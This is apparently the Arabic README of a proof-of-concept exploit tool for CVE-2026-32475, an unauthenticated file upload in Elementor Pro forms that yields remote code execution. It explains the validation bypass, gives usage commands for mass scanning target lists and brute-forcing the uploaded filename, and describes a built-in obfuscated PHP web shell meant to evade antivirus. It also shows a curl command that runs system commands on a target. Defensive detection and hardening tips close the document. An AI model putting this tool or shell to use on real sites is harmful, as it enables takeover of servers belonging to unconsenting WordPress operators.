
إثبات مفهوم لاستغلال CVE-2026-32475، وهو رفع ملفات تعسفي غير مصادق عليه في Elementor Pro يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. يتضمن فحصًا جماعيًا، وتأكيد اسم الملف بالقوة الغاشمة، وقشرة ويب مشفرة مدمجة للاختبار المصرح به.
رفع ملفات تعسفي قبل المصادقة في Elementor Pro يؤدي إلى تنفيذ كود عن بُعد
إثبات المفهوم لـ CVE-2026-32475، وهو ثغرة حرجة في رفع الملفات التعسفي غير المصادق عليه في وحدة النماذج (Forms) في Elementor Pro تنتهي بتنفيذ كود عن بُعد. يرسل إثبات المفهوم جزأين من الملف لنفس حقل الرفع — إدخال أول فارغ (اسم ملف فارغ، مما يطلق UPLOAD_ERR_NO_FILE) يليه الحمولة. حلقة validation() تخرج مبكرًا عند الإدخال الفارغ عبر return بينما تتخطاه process_field() عبر continue، لذا لا يتم فحص امتداد الحمولة أبدًا وتستقر في دليل عام بامتداد .php. إثباتات المفهوم التي تختبر السلوك المُصحح، نفس الطلب بعد التصحيح، يجب أن يتم رفضها بواسطة فحص الامتداد.
ملاحظة: إثبات المفهوم هذا مخصص لاختبار الأمان المصرح به والبحث فقط. CVE-2026-32475 يتم استغلاله بنشاط في البرية، وقد حجبت Wordfence أكثر من 190,000 محاولة منذ الإفصاح في 19 أغسطس. أنت مسؤول عن الامتثال لجميع القوانين المعمول بها والحصول على إذن كتابي قبل اختبار أي نظام.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)<= 4.2.1requestsتثبيت التبعيات:
pip install requests
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --brute --seconds-window 3
python cve-2026-32475-poc.py -t http://localhost/wplab/?page_id=6 --shell --brute
--shell يرفع ويب شيل PHP مبهمًا بسيطًا (يتم بناء الكلمات المفتاحية في وقت التشغيل عبر
chr()/implode/strrev، معلمة الأمر vapcom) بحيث لا تلتقطه التوقيعات الثابتة البسيطة أو
عمليات الفحص اللحظي لمضاد الفيروسات على القرص. اسم الملف المخزن لا يزال عشوائيًا
(<uniqid()>.php)؛ ادمجه مع --brute، الذي يفحص ?vapcom=echo <marker> ويبلغ عن
exec confirmed: <name>.php. الاستخدام اليدوي بعد تحديد الموقع:
curl "http://TARGET/wp-content/uploads/elementor/forms/<uniqid>.php?vapcom=id"
python cve-2026-32475-poc.py -T targets.txt -o results.csv
python cve-2026-32475-poc.py -t http://target/page-with-form/ --payload ./lab-shell.php
| الوسيط | الوصف | الافتراضي |
|---|---|---|
-t, --target | رابط هدف واحد | - |
-T, --targets | ملف يحتوي على روابط الأهداف، رابط واحد في كل سطر | - |
-o, --output | ملف النتائج (CSV: target, status, form_id, post_id, field, note) | - |
--timeout | مهلة الطلب بالثواني | 15 |
--post-id | تجاوز post_id المكتشف | تلقائي |
--form-id | تجاوز form_id المكتشف (معرف عنصر Elementor) | تلقائي |
--field | تجاوز custom_id لحقل الرفع المكتشف | تلقائي |
--payload | مسار ملف حمولة مخصص (الافتراضي: ملف رمز PHP غير ضار) | رمز غير ضار |
--shell | رفع ويب شيل PHP مبهم مدمج (<?php ... system($_GET) ?> مبني في وقت التشغيل، المعلمة vapcom) بدلاً من الرمز | إيقاف |
--brute | بعد رفع ناجح، تخمين اسم ملف uniqid() بالقوة الغاشمة لتأكيد تنفيذ الكود | إيقاف |
--seconds-window | الثواني قبل/بعد ترويسة Date للخادم للتخمين بالقوة الغاشمة | 5 |
[*] Probing http://localhost/wplab/?page_id=6 ...
[+] Form found: post_id=6 form_id=a1b2c3d4 field=upload_file
[*] AJAX -> HTTP 200
[*] result: vulnerable - upload accepted
response : {"success":true,"data":{"message":"Your submission was successful.","data":[]}}
uploaded to : /wp-content/uploads/elementor/forms/<uniqid>.php
[+] CONFIRMED EXECUTION: 6a9bb5d70fba6.php -> 'POC3f9a2c...'
[*] done: 1/1 vulnerable
استجابة success:true على طلب AJAX تعني أن الحمولة تم قبولها بدون فحص الامتداد. الخطوة 4 مع --brute (استجابة 200 على ملف .php المُخمَّن الذي يحتوي على العلامة) تؤكد تنفيذ PHP على الخادم — أي RCE كامل.
حالات النتائج: vulnerable | patched | unknown | error
vulnerable — خادم الويب أعاد "success":true؛ الحمولة تجاوزت فحص الامتدادpatched — تم رفض الرفع مع خطأ في نوع الملف (تم تنفيذ فحص الامتداد)unknown — نجح HTTP لكن الاستجابة لم تكن success:true (معرفات خاطئة أو حالة غير متوقعة)error — فشل الطلب/التحليل (مهلة، غير 200، نموذج غير موجود)<uniqid()>.<امتداد_المهاجم> — يتم تجاهل اسم الملف الأساسي المُرسل، لذا فإن حيل الامتداد المزدوج/البايت الفارغ غير ذات صلة؛ فقط فحص الامتداد هو المهم، وهو ما يتعطل..htaccess في wp-content/uploads/elementor/forms/ يضبط Content-Disposition: attachment على جميع الملفات. هذا لا يوقف التنفيذ — لا يزال PHP يعمل على الخادم والاستجابة المُنزَّلة هي المخرجات المنفذة. لعرض شيل في المتصفح في بيئة مختبرية، عطّل ملف .htaccess هذا؛ في العالم الحقيقي اعتبره تجميليًا فقط واعتمد على حظر PHP على مستوى الخادم.uniqid() = sprintf("%08x%05x", uint32(tv_sec), tv_usec)، لذا فإن الاسم مشتق من الوقت (ثواني يونكس، 32 بت منخفضة، + ميكروثانية). خطوة التخمين بالقوة الغاشمة تحصر الثانية المرصودة في ترويسة Date لاستجابة الإرسال، وبالنسبة لملفات .php، تطلب ?vapcom=echo <marker> (أو ?c= لملف الرمز/--payload) بحيث تكون الاستجابة التي تحمل العلامة تنفيذ PHP فعليًا على الخادم، وليس مجرد قراءة ملف. أسوأ حالة هي ~1 مليون تخمين ميكروثانية في الثانية، لذا اضبط --seconds-window لإبقاء عمليات التشغيل قصيرة.# ملفات PHP التي يجب ألا تكون موجودة في دليل الرفع
find wp-content/uploads/elementor/forms/ -type f -name "*.php*"
.php/.phtml/.phar/.hta تحت دليل النماذج كدليل على الاختراق.GET تحت /wp-content/uploads/elementor/forms/ وPOST يحمل elementor_pro_forms_send_form.mu-plugins، وملفات أساسية/قوالب معدلة، وأحداث WP-Cron غير متوقعة؛ يُفضل استعادة نسخة احتياطية معروفة الجودة على التنظيف في المكان.location في nginx أو <FilesMatch> في Apache). هذا هو الإصلاح الدائم ويخفض هذه الثغرة وثغرات الرفع المستقبلية إلى "إهدار مساحة القرص".elementor_pro_forms_send_form.